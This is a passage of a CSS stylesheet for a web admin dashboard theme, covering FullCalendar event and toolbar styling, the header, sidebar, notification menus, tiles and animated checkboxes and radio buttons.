-3px;\n  right: -3px;\n  width: 7px;\n}\n\n/* Event Limiting\n--------------------------------------------------------------------------------------------------*/\n/* \"more\" link that represents hidden events */\na.fc-more {\n  margin: 1px 3px;\n  font-size: .85em;\n  cursor: pointer;\n  text-decoration: none;\n}\n\na.fc-more:hover {\n  text-decoration: underline;\n}\n\n.fc-limited {\n  /* rows and cells that are hidden because of a \"more\" link */\n  display: none;\n}\n\n/* popover that appears when \"more\" link is clicked */\n.fc-day-grid .fc-row {\n  z-index: 1;\n  /* make the \"more\" popover one higher than this */\n}\n\n.fc-more-popover {\n  z-index: 2;\n  width: 220px;\n}\n\n.fc-more-popover .fc-event-container {\n  padding: 10px;\n}\n\n/* Toolbar\n--------------------------------------------------------------------------------------------------*/\n.fc-toolbar {\n  text-align: center;\n  margin-bottom: 1em;\n}\n\n.fc-toolbar .fc-left {\n  float: left;\n}\n\n.fc-toolbar .fc-right {\n  float: right;\n}\n\n.fc-toolbar .fc-center {\n  display: inline-block;\n}\n\n/* the things within each left/right/center section */\n.fc .fc-toolbar > * > * {\n  /* extra precedence to override button border margins */\n  float: left;\n  margin-left: .75em;\n}\n\n/* the first thing within each left/center/right section */\n.fc .fc-toolbar > * > :first-child {\n  /* extra precedence to override button border margins */\n  margin-left: 0;\n}\n\n/* title text */\n.fc-toolbar h2 {\n  margin: 0;\n  text-transform: uppercase;\n  font-size: 26px;\n  color: #555;\n}\n\n/* button layering (for border precedence) */\n.fc-toolbar button {\n  position: relative;\n}\n\n.fc-toolbar .fc-state-hover,\n.fc-toolbar .ui-state-hover {\n  z-index: 2;\n}\n\n.fc-toolbar .fc-state-down {\n  z-index: 3;\n}\n\n.fc-toolbar .fc-state-active,\n.fc-toolbar .ui-state-active {\n  z-index: 4;\n}\n\n.fc-toolbar button:focus {\n  z-index: 5;\n}\n\n/* View Structure\n--------------------------------------------------------------------------------------------------*/\n/* undo twitter bootstrap's box-sizing rules. normalizes positioning techniques */\n/* don't do this for the toolbar because we'll want bootstrap to style those buttons as some pt */\n.fc-view-container *,\n.fc-view-container *:before,\n.fc-view-container *:after {\n  -webkit-box-sizing: content-box;\n  box-sizing: content-box;\n}\n\n.fc-view,\n.fc-view > table {\n  /* so dragged elements can be above the view's main element */\n  position: relative;\n  z-index: 1;\n}\n\n/* BasicView\n--------------------------------------------------------------------------------------------------*/\n/* day row structure */\n.fc-basicWeek-view .fc-content-skeleton,\n.fc-basicDay-view .fc-content-skeleton {\n  /* we are sure there are no day numbers in these views, so... */\n  padding-top: 1px;\n  /* add a pixel to make sure there are 2px padding above events */\n  padding-bottom: 1em;\n  /* ensure a space at bottom of cell for user selecting/clicking */\n}\n\n.fc-basic-view .fc-body .fc-row {\n  min-height: 4em;\n  /* ensure that all rows are at least this tall */\n}\n\n/* a \"rigid\" row will take up a constant amount of height because content-skeleton is absolute */\n.fc-row.fc-rigid {\n  overflow: hidden;\n}\n\n.fc-row.fc-rigid .fc-content-skeleton {\n  position: absolute;\n  top: 0;\n  left: 0;\n  right: 0;\n}\n\n/* week and day number styling */\n.fc-basic-view .fc-week-number,\n.fc-basic-view .fc-day-number {\n  padding: 0 2px;\n}\n\n.fc-basic-view td.fc-week-number span,\n.fc-basic-view td.fc-day-number {\n  padding-top: 2px;\n  padding-bottom: 2px;\n}\n\n.fc-basic-view .fc-week-number {\n  text-align: center;\n}\n\n.fc-basic-view .fc-week-number span {\n  /* work around the way we do column resizing and ensure a minimum width */\n  display: inline-block;\n  min-width: 1.25em;\n}\n\n.fc-ltr .fc-basic-view .fc-day-number {\n  text-align: right;\n}\n\n.fc-rtl .fc-basic-view .fc-day-number {\n  text-align: left;\n}\n\n.fc-day-number.fc-other-month {\n  opacity: 0.3;\n  filter: alpha(opacity=30);\n  /* for IE */\n  /* opacity with small font can sometimes look too faded\n\t   might want to set the 'color' property instead\n\t   making day-numbers bold also fixes the problem */\n}\n\n/* AgendaView all-day area\n--------------------------------------------------------------------------------------------------*/\n.fc-agenda-view .fc-day-grid {\n  position: relative;\n  z-index: 2;\n  /* so the \"more..\" popover will be over the time grid */\n}\n\n.fc-agenda-view .fc-day-grid .fc-row {\n  min-height: 3em;\n  /* all-day section will never get shorter than this */\n}\n\n.fc-agenda-view .fc-day-grid .fc-row .fc-content-skeleton {\n  padding-top: 1px;\n  /* add a pixel to make sure there are 2px padding above events */\n  padding-bottom: 1em;\n  /* give space underneath events for clicking/selecting days */\n}\n\n/* TimeGrid axis running down the side (for both the all-day area and the slot area)\n--------------------------------------------------------------------------------------------------*/\n.fc .fc-axis {\n  /* .fc to overcome default cell styles */\n  vertical-align: middle;\n  padding: 0 4px;\n  white-space: nowrap;\n}\n\n.fc-ltr .fc-axis {\n  text-align: right;\n}\n\n.fc-rtl .fc-axis {\n  text-align: left;\n}\n\n.ui-widget td.fc-axis {\n  font-weight: normal;\n  /* overcome jqui theme making it bold */\n}\n\n/* TimeGrid Structure\n--------------------------------------------------------------------------------------------------*/\n.fc-time-grid-container,\n.fc-time-grid {\n  /* so slats/bg/content/etc positions get scoped within here */\n  position: relative;\n  z-index: 1;\n}\n\n.fc-time-grid {\n  min-height: 100%;\n  /* so if height setting is 'auto', .fc-bg stretches to fill height */\n}\n\n.fc-time-grid table {\n  /* don't put outer borders on slats/bg/content/etc */\n  border: 0 hidden transparent;\n}\n\n.fc-time-grid > .fc-bg {\n  z-index: 1;\n}\n\n.fc-time-grid .fc-slats,\n.fc-time-grid > hr {\n  /* the <hr> AgendaView injects when grid is shorter than scroller */\n  position: relative;\n  z-index: 2;\n}\n\n.fc-time-grid .fc-bgevent-skeleton,\n.fc-time-grid .fc-content-skeleton {\n  position: absolute;\n  top: 0;\n  left: 0;\n  right: 0;\n}\n\n.fc-time-grid .fc-bgevent-skeleton {\n  z-index: 3;\n}\n\n.fc-time-grid .fc-highlight-skeleton {\n  z-index: 4;\n}\n\n.fc-time-grid .fc-content-skeleton {\n  z-index: 5;\n}\n\n.fc-time-grid .fc-helper-skeleton {\n  z-index: 6;\n}\n\n/* TimeGrid Slats (lines that run horizontally)\n--------------------------------------------------------------------------------------------------*/\n.fc-time-grid .fc-slats td {\n  height: 1.5em;\n  border-bottom: 0;\n  /* each cell is responsible for its top border */\n}\n\n.fc-time-grid .fc-slats .fc-minor td {\n  border-top-style: dotted;\n}\n\n.fc-time-grid .fc-slats .ui-widget-content {\n  /* for jqui theme */\n  background: none;\n  /* see through to fc-bg */\n}\n\n/* TimeGrid Highlighting Slots\n--------------------------------------------------------------------------------------------------*/\n.fc-time-grid .fc-highlight-container {\n  /* a div within a cell within the fc-highlight-skeleton */\n  position: relative;\n  /* scopes the left/right of the fc-highlight to be in the column */\n}\n\n.fc-time-grid .fc-highlight {\n  position: absolute;\n  left: 0;\n  right: 0;\n  /* top and bottom will be in by JS */\n}\n\n/* TimeGrid Event Containment\n--------------------------------------------------------------------------------------------------*/\n.fc-time-grid .fc-event-container,\n.fc-time-grid .fc-bgevent-container {\n  /* a div within a cell within the fc-bgevent-skeleton */\n  position: relative;\n}\n\n.fc-ltr .fc-time-grid .fc-event-container {\n  /* space on the sides of events for LTR (default) */\n  margin: 0 2.5% 0 2px;\n}\n\n.fc-rtl .fc-time-grid .fc-event-container {\n  /* space on the sides of events for RTL */\n  margin: 0 2px 0 2.5%;\n}\n\n.fc-time-grid .fc-event,\n.fc-time-grid .fc-bgevent {\n  position: absolute;\n  z-index: 1;\n  /* scope inner z-index's */\n}\n\n.fc-time-grid .fc-bgevent {\n  /* background events always span full width */\n  left: 0;\n  right: 0;\n}\n\n/* Generic Vertical Event\n--------------------------------------------------------------------------------------------------*/\n.fc-v-event.fc-not-start {\n  /* events that are continuing from another day */\n  /* replace space made by the top border with padding */\n  border-top-width: 0;\n  padding-top: 1px;\n  /* remove top rounded corners */\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.fc-v-event.fc-not-end {\n  /* replace space made by the top border with padding */\n  border-bottom-width: 0;\n  padding-bottom: 1px;\n  /* remove bottom rounded corners */\n  border-bottom-left-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n/* TimeGrid Event Styling\n----------------------------------------------------------------------------------------------------\nWe use the full \"fc-time-grid-event\" class instead of using descendants because the event won't\nbe a descendant of the grid when it is being dragged.\n*/\n.fc-time-grid-event {\n  overflow: hidden;\n  /* don't let the bg flow over rounded corners */\n}\n\n.fc-time-grid-event .fc-time,\n.fc-time-grid-event .fc-title {\n  padding: 0 1px;\n}\n\n.fc-time-grid-event .fc-time {\n  font-size: .85em;\n  white-space: nowrap;\n}\n\n/* short mode, where time and title are on the same line */\n.fc-time-grid-event.fc-short .fc-content {\n  /* don't wrap to second line (now that contents will be inline) */\n  white-space: nowrap;\n}\n\n.fc-time-grid-event.fc-short .fc-time,\n.fc-time-grid-event.fc-short .fc-title {\n  /* put the time and title on the same line */\n  display: inline-block;\n  vertical-align: top;\n}\n\n.fc-time-grid-event.fc-short .fc-time span {\n  display: none;\n  /* don't display the full time text... */\n}\n\n.fc-time-grid-event.fc-short .fc-time:before {\n  content: attr(data-start);\n  /* ...instead, display only the start time */\n}\n\n.fc-time-grid-event.fc-short .fc-time:after {\n  content: \"\\000A0-\\000A0\";\n  /* seperate with a dash, wrapped in nbsp's */\n}\n\n.fc-time-grid-event.fc-short .fc-title {\n  font-size: .85em;\n  /* make the title text the same size as the time */\n  padding: 0;\n  /* undo padding from above */\n}\n\n/* resizer */\n.fc-time-grid-event .fc-resizer {\n  left: 0;\n  right: 0;\n  bottom: 0;\n  height: 8px;\n  overflow: hidden;\n  line-height: 8px;\n  font-size: 11px;\n  font-family: monospace;\n  text-align: center;\n  cursor: s-resize;\n}\n\n.fc-time-grid-event .fc-resizer:after {\n  content: \"=\";\n}\n\n::-moz-selection {\n  color: #FFF;\n  background-color: #00635a;\n}\n\n::selection {\n  color: #FFF;\n  background-color: #00635a;\n}\n\n@media (min-width: 768px) {\n  .app.sidenav-toggled .app-content {\n    margin-left: 0;\n  }\n  .app.sidenav-toggled .app-sidebar {\n    left: -230px;\n  }\n  .app.sidenav-toggled .app-sidebar__overlay {\n    visibility: hidden;\n  }\n}\n\n@media (max-width: 767px) {\n  .app {\n    overflow-x: hidden;\n  }\n  .app .app-sidebar {\n    left: -230px;\n  }\n  .app .app-sidebar__overlay {\n    visibility: hidden;\n  }\n  .app.sidenav-toggled .app-content {\n    margin-left: 0;\n  }\n  .app.sidenav-toggled .app-sidebar {\n    left: 0;\n  }\n  .app.sidenav-toggled .app-sidebar__overlay {\n    visibility: visible;\n  }\n}\n\n.app-content {\n  min-height: calc(100vh - 50px);\n  margin-top: 50px;\n  padding: 30px;\n  background-color: #E5E5E5;\n  -webkit-transition: margin-left 0.3s ease;\n  -o-transition: margin-left 0.3s ease;\n  transition: margin-left 0.3s ease;\n}\n\n@media (min-width: 768px) {\n  .app-content {\n    margin-left: 230px;\n  }\n}\n\n@media (max-width: 767px) {\n  .app-content {\n    margin-top: 50px;\n    min-width: 100%;\n  }\n}\n\n@media (max-width: 480px) {\n  .app-content {\n    padding: 15px;\n  }\n}\n\n@media print {\n  .app-content {\n    margin: 0;\n    padding: 0;\n    background-color: #fff;\n  }\n}\n\n.light-text {\n  font-weight: 300 !important;\n}\n\n.semibold-text {\n  font-weight: 600 !important;\n}\n\n.line-head {\n  padding-bottom: 10px;\n  border-bottom: 1px solid #ddd;\n}\n\n/*----- Componant: Top Navigation Bar ----- */\n.app-header {\n  position: fixed;\n  left: 0;\n  right: 0;\n  top: 0;\n  width: 100%;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  background-color: #009688;\n  z-index: 1030;\n  padding-right: 15px;\n}\n\n@media (min-width: 768px) {\n  .app-header {\n    padding-right: 30px;\n  }\n}\n\n@media print {\n  .app-header {\n    display: none;\n  }\n}\n\n.app-header__logo {\n  -webkit-box-flex: 1;\n      -ms-flex: 1 0 auto;\n          flex: 1 0 auto;\n  color: #fff;\n  text-align: center;\n  font-family: 'Niconne';\n  padding: 0 15px;\n  font-size: 26px;\n  font-weight: 400;\n  line-height: 50px;\n}\n\n@media (min-width: 768px) {\n  .app-header__logo {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 auto;\n            flex: 0 0 auto;\n    display: block;\n    width: 230px;\n    background-color: #007d71;\n  }\n}\n\n.app-header__logo:focus, .app-header__logo:hover {\n  text-decoration: none;\n  color: #fff;\n}\n\n.app-sidebar__toggle {\n  padding: 0 15px;\n  font-family: fontAwesome;\n  color: #fff;\n  line-height: 2.4;\n  -webkit-transition: background-color 0.3s ease;\n  -o-transition: background-color 0.3s ease;\n  transition: background-color 0.3s ease;\n}\n\n@media (max-width: 767px) {\n  .app-sidebar__toggle {\n    -webkit-box-ordinal-group: 0;\n        -ms-flex-order: -1;\n            order: -1;\n  }\n}\n\n.app-sidebar__toggle:before {\n  content: \"\\f0c9\";\n  font-size: 21px;\n}\n\n.app-sidebar__toggle:focus, .app-sidebar__toggle:hover {\n  color: #fff;\n  background-color: #00635a;\n  text-decoration: none;\n}\n\n.app-nav {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  margin-bottom: 0;\n  -webkit-box-pack: end;\n      -ms-flex-pack: end;\n          justify-content: flex-end;\n}\n\n@media (min-width: 768px) {\n  .app-nav {\n    -webkit-box-flex: 1;\n        -ms-flex: 1 0 auto;\n            flex: 1 0 auto;\n  }\n}\n\n.app-nav__item {\n  display: block;\n  padding: 15px;\n  line-height: 20px;\n  color: #fff;\n  -webkit-transition: background-color 0.3s ease;\n  -o-transition: background-color 0.3s ease;\n  transition: background-color 0.3s ease;\n}\n\n.app-nav__item:hover, .app-nav__item:focus {\n  background: rgba(0, 0, 0, 0.1);\n  color: #f6f6f6;\n}\n\n.app-search {\n  position: relative;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-item-align: center;\n      align-self: center;\n  margin-right: 15px;\n  padding: 10px 0;\n}\n\n@media (max-width: 480px) {\n  .app-search {\n    display: none;\n  }\n}\n\n.app-search__input {\n  border: 0;\n  padding: 5px 10px;\n  padding-right: 30px;\n  border-radius: 2px;\n  background-color: rgba(255, 255, 255, 0.8);\n  -webkit-transition: background-color 0.3s ease;\n  -o-transition: background-color 0.3s ease;\n  transition: background-color 0.3s ease;\n}\n\n.app-search__input::-webkit-input-placeholder {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.app-search__input:-ms-input-placeholder {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.app-search__input::-ms-input-placeholder {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.app-search__input::placeholder {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.app-search__button {\n  position: absolute;\n  right: 0;\n  top: 10px;\n  bottom: 10px;\n  padding: 0 10px;\n  border: 0;\n  color: rgba(0, 0, 0, 0.8);\n  background: none;\n  cursor: pointer;\n}\n\n.app-notification {\n  min-width: 270px;\n}\n\n.app-notification__title {\n  padding: 8px 20px;\n  text-align: center;\n  background-color: rgba(0, 150, 136, 0.4);\n  color: #333;\n}\n\n.app-notification__footer {\n  padding: 8px 20px;\n  text-align: center;\n  background-color: #eee;\n}\n\n.app-notification__content {\n  max-height: 220px;\n  overflow-y: auto;\n}\n\n.app-notification__content::-webkit-scrollbar {\n  width: 6px;\n}\n\n.app-notification__content::-webkit-scrollbar-thumb {\n  background: rgba(0, 0, 0, 0.2);\n}\n\n.app-notification__item {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  padding: 8px 20px;\n  color: inherit;\n  border-bottom: 1px solid #ddd;\n  -webkit-transition: background-color 0.3s ease;\n  -o-transition: background-color 0.3s ease;\n  transition: background-color 0.3s ease;\n}\n\n.app-notification__item:focus, .app-notification__item:hover {\n  color: inherit;\n  text-decoration: none;\n  background-color: #e0e0e0;\n}\n\n.app-notification__message,\n.app-notification__meta {\n  margin-bottom: 0;\n}\n\n.app-notification__icon {\n  padding-right: 10px;\n}\n\n.app-notification__message {\n  line-height: 1.2;\n}\n\n.app-sidebar {\n  position: fixed;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  padding-top: 70px;\n  width: 230px;\n  overflow: auto;\n  z-index: 10;\n  background-color: #222d32;\n  -webkit-box-shadow: 0px 8px 17px rgba(0, 0, 0, 0.2);\n          box-shadow: 0px 8px 17px rgba(0, 0, 0, 0.2);\n  -webkit-transition: left 0.3s ease,\n width 0.3s ease;\n  -o-transition: left 0.3s ease,\n width 0.3s ease;\n  transition: left 0.3s ease,\n width 0.3s ease;\n}\n\n.app-sidebar::-webkit-scrollbar {\n  width: 6px;\n}\n\n.app-sidebar::-webkit-scrollbar-thumb {\n  background: rgba(0, 0, 0, 0.2);\n}\n\n@media print {\n  .app-sidebar {\n    display: none;\n  }\n}\n\n@media (max-width: 767px) {\n  .app-sidebar__overlay {\n    position: fixed;\n    top: 0;\n    left: 0;\n    bottom: 0;\n    right: 0;\n    z-index: 9;\n  }\n}\n\n.app-sidebar__user {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  padding: 10px;\n  margin-bottom: 20px;\n  color: #fff;\n}\n\n.app-sidebar__user-avatar {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 auto;\n          flex: 0 0 auto;\n  margin-right: 15px;\n}\n\n.app-sidebar__user-name {\n  font-size: 17px;\n  line-height: 1.3;\n}\n\n.app-sidebar__user-name,\n.app-sidebar__user-designation {\n  white-space: nowrap;\n  overflow: hidden;\n  -o-text-overflow: ellipsis;\n     text-overflow: ellipsis;\n  margin-bottom: 0;\n}\n\n.app-menu {\n  margin-bottom: 0;\n}\n\n.app-menu__item {\n  position: relative;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  padding: 12px 15px;\n  font-size: 1.08em;\n  border-left: 3px solid transparent;\n  -webkit-transition: border-left-color 0.3s ease,\n background-color 0.3s ease;\n  -o-transition: border-left-color 0.3s ease,\n background-color 0.3s ease;\n  transition: border-left-color 0.3s ease,\n background-color 0.3s ease;\n  color: #fff;\n}\n\n.app-menu__item.active, .app-menu__item:hover, .app-menu__item:focus {\n  background: #0d1214;\n  border-left-color: #009688;\n  text-decoration: none;\n  color: #fff;\n}\n\n.app-menu__icon {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 auto;\n          flex: 0 0 auto;\n  width: 25px;\n}\n\n.app-menu__label {\n  white-space: nowrap;\n  -webkit-box-flex: 1;\n      -ms-flex: 1 1 auto;\n          flex: 1 1 auto;\n}\n\n.treeview.is-expanded [data-toggle='treeview'] {\n  border-left-color: #009688;\n  background: #0d1214;\n}\n\n.treeview.is-expanded .treeview-menu {\n  max-height: 100vh;\n}\n\n.treeview.is-expanded .treeview-indicator {\n  -webkit-transform: rotate(90deg);\n      -ms-transform: rotate(90deg);\n          transform: rotate(90deg);\n}\n\n.treeview-menu {\n  max-height: 0;\n  overflow: hidden;\n  -webkit-transition: max-height 0.3s ease;\n  -o-transition: max-height 0.3s ease;\n  transition: max-height 0.3s ease;\n  background: #2a383e;\n}\n\n.treeview-item {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  padding: 5px 5px 5px 20px;\n  font-size: 1em;\n  color: #fff;\n}\n\n.treeview-item.active, .treeview-item:hover, .treeview-item:focus {\n  background: #0d1214;\n  text-decoration: none;\n  color: #fff;\n}\n\n.treeview-item .icon {\n  margin-right: 5px;\n}\n\n.treeview-indicator {\n  -webkit-transform-origin: center;\n      -ms-transform-origin: center;\n          transform-origin: center;\n  -webkit-transition: -webkit-transform 0.3s ease;\n  transition: -webkit-transform 0.3s ease;\n  -o-transition: transform 0.3s ease;\n  transition: transform 0.3s ease;\n  transition: transform 0.3s ease, -webkit-transform 0.3s ease;\n}\n\n@media (min-width: 768px) {\n  .sidebar-mini.sidenav-toggled .app-sidebar__user-name,\n  .sidebar-mini.sidenav-toggled .app-sidebar__user-designation,\n  .sidebar-mini.sidenav-toggled .treeview-indicator {\n    display: none;\n  }\n  .sidebar-mini.sidenav-toggled .app-sidebar__user-avatar {\n    width: 30px;\n    height: 30px;\n  }\n  .sidebar-mini.sidenav-toggled .app-content {\n    margin-left: 50px;\n  }\n  .sidebar-mini.sidenav-toggled .app-sidebar {\n    left: 0;\n    width: 50px;\n    overflow: hidden;\n  }\n  .sidebar-mini.sidenav-toggled .app-sidebar:hover {\n    overflow: visible;\n  }\n  .sidebar-mini.sidenav-toggled .app-menu__item {\n    overflow: hidden;\n  }\n  .sidebar-mini.sidenav-toggled .app-menu__item:hover {\n    overflow: visible;\n  }\n  .sidebar-mini.sidenav-toggled .app-menu__item:hover .app-menu__label {\n    opacity: 1;\n  }\n  .sidebar-mini.sidenav-toggled .app-menu__item:hover + .treeview-menu {\n    visibility: visible;\n  }\n  .sidebar-mini.sidenav-toggled .app-menu__label {\n    display: block;\n    position: absolute;\n    top: 0;\n    left: 50px;\n    min-width: 180px;\n    padding: 12px 5px 12px 20px;\n    margin-left: -3px;\n    line-height: 1;\n    opacity: 0;\n    background: #0d1214;\n    border-top-right-radius: 4px;\n    border-bottom-right-radius: 4px;\n  }\n  .sidebar-mini.sidenav-toggled .treeview:hover .app-menu__item {\n    overflow: visible;\n    background: #0d1214;\n    border-left-color: #009688;\n    color: #fff;\n  }\n  .sidebar-mini.sidenav-toggled .treeview:hover .app-menu__label {\n    opacity: 1;\n  }\n  .sidebar-mini.sidenav-toggled .treeview:hover .treeview-menu {\n    max-height: 100vh;\n    opacity: 1;\n    visibility: visible;\n    z-index: 10;\n  }\n  .sidebar-mini.sidenav-toggled .treeview .app-menu__label {\n    border-bottom-right-radius: 0;\n  }\n  .sidebar-mini.sidenav-toggled .treeview-menu {\n    position: absolute;\n    left: 50px;\n    min-width: 180px;\n    padding: 12px 0;\n    opacity: 0;\n    border-bottom-right-radius: 4px;\n    z-index: 9;\n    visibility: hidden;\n    -webkit-transition: visibility 0.3s ease;\n    -o-transition: visibility 0.3s ease;\n    transition: visibility 0.3s ease;\n  }\n}\n\n.dropdown-menu {\n  border-radius: 0;\n  -webkit-box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);\n          box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);\n}\n\n.dropdown-menu.dropdown-menu-right {\n  left: auto;\n  right: 0;\n}\n\n.dropdown-item .fa,\n.dropdown-item .icon {\n  margin-right: 5px;\n  vertical-align: middle;\n}\n\n.btn {\n  cursor: pointer;\n}\n\n.btn:not([disabled]):not(.disabled):not(.btn-link):hover, .btn:not([disabled]):not(.disabled):not(.btn-link):focus {\n  text-decoration: none;\n  -webkit-transform: translate3d(0, -1px, 0);\n          transform: translate3d(0, -1px, 0);\n  -webkit-box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.4);\n          box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.4);\n}\n\n.btn[disabled] {\n  cursor: not-allowed;\n}\n\n.btn .icon,\n.btn .fa {\n  font-size: 14px;\n  margin-right: 5px;\n  vertical-align: middle;\n}\n\n.app-title {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: justify;\n      -ms-flex-pack: justify;\n          justify-content: space-between;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: row;\n          flex-direction: row;\n  background-color: #FFF;\n  margin: -30px -30px 30px;\n  padding: 20px 30px;\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n\n@media print {\n  .app-title {\n    display: none;\n  }\n}\n\n@media (max-width: 480px) {\n  .app-title {\n    margin: -15px -15px 15px;\n    padding: 20px;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n        -ms-flex-direction: column;\n            flex-direction: column;\n    -webkit-box-align: start;\n        -ms-flex-align: start;\n            align-items: flex-start;\n  }\n}\n\n.app-title h1 {\n  margin: 0;\n  font-size: 24px;\n  font-weight: 400;\n}\n\n.app-title p {\n  margin-bottom: 0;\n  font-style: italic;\n}\n\n@media (max-width: 480px) {\n  .app-title p {\n    display: none;\n  }\n}\n\n.app-breadcrumb {\n  margin-bottom: 0;\n  text-align: right;\n  font-weight: 500;\n  font-size: 13px;\n  text-transform: capitalize;\n  padding: 0;\n  text-align: left;\n  padding: 0;\n  background-color: transparent;\n}\n\n@media (max-width: 480px) {\n  .app-breadcrumb {\n    margin-top: 10px;\n  }\n}\n\n.tile {\n  position: relative;\n  background: #ffffff;\n  border-radius: 3px;\n  padding: 20px;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 1px 5px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -2px rgba(0, 0, 0, 0.2);\n          box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 1px 5px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -2px rgba(0, 0, 0, 0.2);\n  margin-bottom: 30px;\n  -webkit-transition: all 0.3s ease-in-out;\n  -o-transition: all 0.3s ease-in-out;\n  transition: all 0.3s ease-in-out;\n}\n\n@media print {\n  .tile {\n    border: 1px solid #ddd;\n  }\n}\n\n.tile.small {\n  padding: 0;\n}\n\n.tile .overlay {\n  position: absolute;\n  top: 0;\n  left: 0;\n  bottom: 0;\n  right: 0;\n  background-color: rgba(255, 255, 255, 0.9);\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: row;\n          flex-direction: row;\n  color: #555;\n  border-radius: 3px;\n}\n\n.tile .overlay .l-text {\n  font-size: 24px;\n  margin-top: 15px;\n}\n\n.tile .tile-title {\n  margin-top: 0;\n  margin-bottom: 20px;\n  font-size: 1.5rem;\n}\n\n.tile .tile-title-w-btn {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-pack: justify;\n      -ms-flex-pack: justify;\n          justify-content: space-between;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  margin-bottom: 20px;\n}\n\n.tile .tile-title-w-btn p {\n  margin: 0;\n}\n\n.tile .tile-title-w-btn .title {\n  margin: 0;\n}\n\n.tile .tile-title-w-btn .side {\n  margin-bottom: 0;\n  padding-left: 0;\n}\n\n.tile .tile-title-w-btn .btn-group {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 auto;\n          flex: 0 0 auto;\n}\n\n.tile .tile-footer {\n  border-top: 1px solid #ddd;\n  padding: 20px 0 0 0;\n  margin-top: 10px;\n}\n\n/* Custom Checkbox and Radio Buttons */\n.animated-checkbox input[type=\"checkbox\"] {\n  display: none;\n}\n\n.animated-checkbox input[type=\"checkbox\"] + .label-text {\n  cursor: pointer !important;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n}\n\n.animated-checkbox input[type=\"checkbox\"] + .label-text:before {\n  content: \"\";\n  font-family: \"FontAwesome\";\n  speak: none;\n  font-style: normal;\n  font-weight: normal;\n  font-variant: normal;\n  text-transform: none;\n  line-height: 1;\n  font-size: 18px;\n  -webkit-font-smoothing: antialiased;\n  width: 1em;\n  display: inline-block;\n  margin-right: 2px;\n  vertical-align: -2px;\n}\n\n.animated-checkbox input[type=\"checkbox\"]:checked + .label-text:before {\n  content: \"\";\n  color: #009688;\n  -webkit-animation: tick 180ms ease-in;\n          animation: tick 180ms ease-in;\n}\n\n.animated-checkbox input[type=\"checkbox\"]:disabled + .label-text {\n  cursor: not-allowed !important;\n}\n\n.animated-checkbox input[type=\"checkbox\"]:disabled + .label-text:before {\n  content: \"\";\n  color: #ccc;\n}\n\n.animated-radio-button input[type=\"radio\"] {\n  display: none;\n}\n\n.animated-radio-button input[type=\"radio\"] + .label-text {\n  cursor: pointer !important;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n}\n\n.animated-radio-button input[type=\"radio\"] + .label-text:before {\n  content: \"\";\n  font-family: \"FontAwesome\";\n  speak: none;\n  font-style: normal;\n  font-weight: normal;\n  font-variant: normal;\n  text-transform: none;\n  line-height: 1;\n  font-size: 18px;\n  -webkit-font-smoothing: antialiased;\n  width: 1em;\n  display: inline-block;\n  margin-right: 2px;\n  vertical-align: -2px;\n}\n\n.animated-radio-button input[type=\"radio\"]:checked + .label-text:before {\n  content: \"\";\n  color: #009688;\n  -webkit-animation: tick 180ms ease-in;\n          animation: tick 180ms ease-in;\n}\n\n.animated-radio-button input[type=\"radio\"]:disabled + .label-text {\n  cursor: not-allowed !important;\n}\n\n.animated-radio-button input[type=\"radio\"]:disabled + .label-text:before {\n  content: \"\";\n  color: #ccc;\n}\n\n@-webkit-keyframes tick {\n  0% {\n    -webkit-transform: scale(0);\n            transform: scale(0);\n  }\n  90% {\n    -webkit-transform: scale(1.4);\n            transform: scale(1.4);\n  }\n  100% {\n    -webkit-transform: scale(1);\n            transform: scale(1);\n  }\n}\n\n@keyframes tick {\n  0% {\n    -webkit-transform: scale(0);\n            transform: scale(0);\n  }\n  90% {\n    -webkit-transform: scale(1.4);\n            transform: 